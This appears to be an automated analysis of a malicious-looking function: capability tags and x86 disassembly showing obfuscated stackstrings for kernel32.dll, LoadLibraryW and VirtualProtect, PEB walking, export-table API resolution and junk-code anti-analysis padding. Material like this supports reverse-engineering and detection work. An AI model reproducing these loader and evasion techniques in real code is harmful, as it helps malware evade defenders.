Function at 0x406636
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
pop es
add byte [eax], al
add byte [eax], al
cmp ecx, dword [edx + 0x46]
cmp byte [esi + 0x4b], al
add esp, 4
jmp 0x4051e4
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x4051fd
mov dword [ebp - 0x2e0], 0
jmp 0x4054b9
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
push edi
add esp, 4
or edi, 0x13fbc
pop edi
push edx
push ebx
add esp, 4
jmp 0x405229
call 0x405237
add byte [esi + 0x4f], cl
inc edi
xor edi, dword [edx]
aaa
inc ebx
xor eax, 0x8104c483
ljmp 0x835a
push ebx
or ebx, 0x565f
sub ebx, 0xb5c
pop ebx
push edx
push ebx
add esp, 4
xor edx, 0x16d4f
pop edx
push ebx
push edx
add esp, 4
add ebx, 0x16472
add ebx, 0x8e8e
or ebx, 0xaca6
pop ebx
cmp dword [ebp - 0x2e0], 0
jne 0x405e04
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push eax
push ebx
add esp, 4
sub eax, 0x3d66
sub eax, 0x10cb2
add eax, 0xc322
xor eax, 0x4fbd
pop eax
push edi
or edi, 0xa04c
and edi, 0x119e
sub edi, 0x91f5
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edx
push ecx
add esp, 4
and edx, 0x981d
or edx, 0xcec
pop edx
push ecx
sub ecx, 0x16f7d
and ecx, 0x15a7d
pop ecx
push edx
push edx
add esp, 4
xor edx, 0x3bf9
jmp 0x405676
pop edx
cmp dword [ebp - 0x14dc], 0
jne 0x40568f
mov dword [ebp - 0x6ec], 0
jmp 0x40594b
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
add ecx, 0xe8bd
call 0x4056b5
add byte [ebx], dh
inc eax
inc edi
inc ebp
xor eax, 0xc483324a
add al, 0x81
jmp 0x41373b
push edi
push edi
add esp, 4
sub edi, 0xcf29
pop edi
push ebx
sub ebx, 0x67b6
sub ebx, 0x32cd
or ebx, 0x14a2c
pop ebx
push edx
push ebx
add esp, 4
and edx, 0x9a0c
and edx, 0xe1e1
pop edx
cmp dword [ebp - 0x6ec], 0
jne 0x4059c7
push eax
push ecx
add esp, 4
add eax, 0x461e
xor eax, 0xfd4
pop eax
push eax
sub eax, 0x14fd8
sub eax, 0x17fe3
pop eax
push ecx
push esi
add esp, 4
xor ecx, 0x166df
sub ecx, 0x15b3e
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x4064ee
push edx
push ebx
add esp, 4
and edx, 0xca17
sub edx, 0x132d0
pop edx
push eax
push edx
add esp, 4
jmp 0x4059e6
xor eax, 0x16b7d
xor eax, 0x2d25
add eax, 0xbd7c
pop eax
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x405a38
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x405d29
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x405a60
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x405d29
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x405a92
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x405d29
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x405ab7
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x405d29
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x405b11
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x405d1d
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x405b81
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x405c33
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x405c33
push edx
call 0x405bbb
add byte [edx + eax*2], dh
inc ecx
cmp al, 0x34
dec esi
add esp, 4
pop edx
push esi
push ebx
add esp, 4
or esi, 0x1e60
and esi, 0xb6fe
or esi, 0x183e7
pop esi
push edx
jmp 0x405bdf
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x405c25
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x405c2c
jmp 0x405b72
jmp 0x405c33
push ecx
jmp 0x405c3a
and ecx, 0x7bb6
pop ecx
push edx
push edx
add esp, 4
or edx, 0x15705
pop edx
push eax
push ecx
add esp, 4
or eax, 0x941d
sub eax, 0xa73c
xor eax, 0x101a1
pop eax
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x405c92
mov dword [ebp - 0xc30], 0
jmp 0x405d01
push edi
add edi, 0xcc06
and edi, 0x14812
pop edi
push edi
xor edi, 0x392b
call 0x405cb4
add byte [eax + 0x37], al
aaa
dec ebp
dec esp
inc ecx
dec esi
add esp, 4
add edi, 0x9356
or edi, 0xc520
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x405cf7
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x405d01
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x405d18
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x405d29
jmp 0x405b02
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x405e04
push esi
xor esi, 0x11fb
call 0x405d4a
add byte [esi + 0x36], al
dec ebx
cmp dh, byte ds:[0x4c48339]
add esi, 0x9df1
pop esi
push ebx
add ebx, 0x81de
xor ebx, 0x10d2f
add ebx, 0x21e8
pop ebx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
push edx
add esp, 4
sub esi, 0xadae
pop esi
push edx
push ebx
add esp, 4
xor edx, 0x5103
pop edx
push ebx
push edi
add esp, 4
add ebx, 0x12261
pop ebx
push ebx
add ebx, 0xf04d
xor ebx, 0xe8d1
pop ebx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x405e04
push esi
push edx
add esp, 4
or esi, 0x24c0
xor esi, 0x1e0c
pop esi
push edi
and edi, 0xa25d
sub edi, 0xc0f4
pop edi
push esi
push eax
add esp, 4
and esi, 0x9b0e
and esi, 0x8124
pop esi
mov dword [ebp - 0x738], 0
jmp 0x4064ee
push ecx
push ecx
add esp, 4
and ecx, 0x96e1
pop ecx
push edi
push edi
add esp, 4
or edi, 0x799b
or edi, 0x213
or edi, 0x6279
pop edi
push ebx
and ebx, 0x8f78
sub ebx, 0xcce0
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ebx
and ebx, 0x167fb
pop ebx
push ecx
push esi
add esp, 4
add ecx, 0x6014
call 0x405e7c
add byte [edi + esi + 0x34], cl
dec ebx
inc esi
inc esp
add esp, 4
jmp 0x405e88
and ecx, 0x14de3
pop ecx
cmp dword [ebp - 0x14f4], 0
jne 0x405ea7
mov dword [ebp - 0x2e0], 0
jmp 0x40614e
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ecx
jmp 0x405ec3
pop ecx
push ebx
push eax
add esp, 4
add ebx, 0x10953
add ebx, 0x10228
call 0x405ee1
add byte [eax + 0x43], dl
dec esp
dec edx
cmp dword [ebx + eax*4], edi
les eax, [ebx + ebp*8]
add al, 0x3e
xor eax, dword [esi + 0x32]
pop ebx
cmp dword [ebp - 0xc3c], 0
jne 0x405f03
mov dword [ebp - 0x2e0], 0
jmp 0x40614e
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ebx
or ebx, 0x9c82
add ebx, 0x12c3d
and ebx, 0xb446
pop ebx
push esi
or esi, 0x11fd1
jmp 0x405f31
sub esi, 0x13a70
jmp 0x405f40
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push eax
push esi
add esp, 4
xor eax, 0x1bc1
sub eax, 0x1567a
or eax, 0xff05
sub eax, 0x76a7
pop eax
push eax
xor eax, 0xf44d
sub eax, 0x280b
xor eax, 0x181b6
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push eax
push edx
add esp, 4
or eax, 0x16236
pop eax
push esi
sub esi, 0x9fff
xor esi, 0xb46f
call 0x40601c
add byte [ecx + 0x47], cl
dec esi
inc edx
xor eax, 0x404c3b34
add esp, 4
xor esi, 0xe1eb
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x406043
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x40609d
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x405f6b
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x405f6b
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x406087
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x406091
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x4060e6
push eax
push ebx
add esp, 4
xor eax, 0x3063
sub eax, 0xffc3
add eax, 0xd5a5
pop eax
push eax
and eax, 0x7b48
and eax, 0xd2b4
sub eax, 0x9738
add eax, 0x16d9e
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x40614e
push ecx
push eax
add esp, 4
and ecx, 0x176f1
add ecx, 0xee2e
jmp 0x4060ff
pop ecx
push eax
push edx
add esp, 4
or eax, 0xdcc6
add eax, 0x5ed1
add eax, 0x176d6
pop eax
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x406144
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x405f0f
mov dword [ebp - 0x2e0], 0
push ebx
push edx
add esp, 4
xor ebx, 0x6d2e
pop ebx
push ebx
xor ebx, 0x2073
pop ebx
push edi
push edi
add esp, 4
and edi, 0xd3ad
or edi, 0x179ca
xor edi, 0x3d35
or edi, 0x4233
pop edi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push eax
push ebx
add esp, 4
xor eax, 0x177f1
pop eax
push esi
add esi, 0xd78f
jmp 0x4061a9
pop esi
push edx
call 0x4061b7
add byte [esp + eax*2 + 0x4a], al
inc ebx
dec ebx
add esp, 4
xor edx, 0x3a97
pop edx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x4061f1
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x4064e2
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x406219
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x4064e2
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x40624b
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x4064e2
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x406270
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x4064e2
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x4062ca
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x4064d6
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x40633a
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x4063ec
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x4063ec
push ecx
push ebx
add esp, 4
add ecx, 0x7d76
xor ecx, 0x4f2b
sub ecx, 0xb07f
jmp 0x406385
pop ecx
push eax
push ecx
add esp, 4
jmp 0x406392
sub eax, 0x17e5c
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x4063de
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x4063e5
jmp 0x40632b
jmp 0x4063ec
push edi
push esi
add esp, 4
xor edi, 0x296f
xor edi, 0x1561a
and edi, 0x137dc
jmp 0x40640a
pop edi
push ecx
or ecx, 0x9dc7
jmp 0x406417
sub ecx, 0x8dcc
pop ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x40644b
mov dword [ebp - 0xc40], 0
jmp 0x4064ba
push edx
add edx, 0x14ee2
call 0x406461
add byte [esi + 0x34], cl
dec ecx
cmp cl, byte [ebp + 0x4c]
cmp esi, dword [edi + esi]
add esp, 4
and edx, 0x13d9
sub edx, 0xb29f
pop edx
push ebx
push edx
add esp, 4
or ebx, 0x9a28
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x4064b0
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x4064ba
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x4064d1
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x4064e2
jmp 0x4062bb
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push esi
push eax
add esp, 4
add esi, 0x119c7
jmp 0x406501
pop esi
push edi
push edx
add esp, 4
or edi, 0x5762
xor edi, 0x7041
xor edi, 0x6f60
xor edi, 0x16692
pop edi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
push esi
add esp, 4
add edi, 0x81d8
jmp 0x40653f
jmp 0x406545
or edi, 0xcbe2
pop edi
push eax
push esi
add esp, 4
sub eax, 0x16604
jmp 0x406560
pop eax
cmp dword [ebp - 0x3cc], 0
je 0x406573
cmp dword [ebp - 0xa5c], 0
jne 0x4065b9
push ebx
xor ebx, 0x1a0a
sub ebx, 0x16ab6
xor ebx, 0xe621
or ebx, 0x887b
pop ebx
push ebx
push eax
add esp, 4
or ebx, 0xc4ad
xor ebx, 0x66b
sub ebx, 0x3b4a
pop ebx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
or eax, 0xbe43
xor eax, 0xb17f
add eax, 0x16342
or eax, 0x1284a
pop eax
push ecx
push edi
add esp, 4
and ecx, 0x5fb9
sub ecx, 0x5f01
add ecx, 0x15e02
pop ecx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
add eax, 0x8b26
call 0x406636
add byte [edi], dh
dec esi
inc esi
inc edi
dec edx
cmp al, 0x3e
cmp dword [ebx + 0x535804c4], eax
push ebx
add esp, 4
and ebx, 0x73f
add ebx, 0x11765
or ebx, 0x128b2
pop ebx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push esi
push esi
add esp, 4
or esi, 0x165c2
and esi, 0xf168
pop esi
push eax
push edx
add esp, 4
or eax, 0x13584
or eax, 0xbfc4
and eax, 0x153c6
pop eax
push eax
add eax, 0x5dc5
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
and eax, 0x1432
pop eax
push edi
push edx
add esp, 4
xor edi, 0x482f
pop edi
push esi
push eax
add esp, 4
sub esi, 0x9f8a
sub esi, 0x12920
sub esi, 0x4c50
and esi, 0x551e
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x40675e
mov dword [ebp - 0x2a8], 0
jmp 0x406a05
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
add edx, 0x7c2
or edx, 0x14a36
call 0x40678b
add byte [ecx + ecx*2], dh
dec esi
cmp al, 0x45
dec ecx
add esp, 4
jmp 0x406793
pop edx
push ebx
add ebx, 0xc60
and ebx, 0x164e1
pop ebx
cmp dword [ebp - 0xc4c], 0
jne 0x4067ba
mov dword [ebp - 0x2a8], 0
jmp 0x406a05
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push eax
add eax, 0x13d17
call 0x4067dc
add byte [esi], bh
dec eax
dec esp
dec ebx
dec edi
cmp eax, dword [ebx + 0x47]
inc edx
add esp, 4
or eax, 0xfc6f
pop eax
push edx
jmp 0x4067ef
pop edx
push edi
or edi, 0x15315
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
and edi, 0x1551a
pop edi
push ebx
push esi
add esp, 4
sub ebx, 0x17b33
pop ebx
push edi
jmp 0x406840
call 0x406850
add byte [ebx], dh
dec esp
inc ebp
dec esi
dec esi
dec esp
cmp ecx, dword [edi + 0x4b]
cmp eax, 0x5f04c483
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edi
or edi, 0x104fe
or edi, 0x3196
pop edi
push esi
jmp 0x4068c2
sub esi, 0x16ce3
pop esi
push esi
xor esi, 0xaa48
and esi, 0x129bb
xor esi, 0x60f
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4068fa
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x406954
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x406822
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x406822
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x40693e
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x406948
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x40699d
push ebx
push edx
add esp, 4
or ebx, 0x1724
pop ebx
push eax
push ecx
add esp, 4
sub eax, 0xc850
pop eax
push eax
call 0x406985
add byte [ebx + 0x3f], cl
dec ecx
inc esp
dec ebp
xor al, 0x48
inc ebp
inc esp
add esp, 4
add eax, 0xaea2
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x406a05
push eax
and eax, 0x3a0d
xor eax, 0xe052
xor eax, 0x15c9b
pop eax
push eax
add eax, 0x99d4
call 0x4069c6
add byte [esi], dh
dec esi
xor eax, dword [edx + 0x33]
push eax
inc ebx
inc eax
add esp, 4
jmp 0x4069ce
pop eax
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x4069fb
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4067c6
mov dword [ebp - 0x2a8], 0
push eax
push esi
add esp, 4
sub eax, 0xa33c
and eax, 0x114c2
jmp 0x406a1e
or eax, 0xa2df
pop eax
push esi
push ecx
add esp, 4
xor esi, 0xb260
xor esi, 0xffde
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x40733c
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
push ds
jmp 0x65fa6a75
add byte [eax], al
add byte [esi - 0x77], ah
lea esp, [eax]
invalid
invalid
invalid
hlt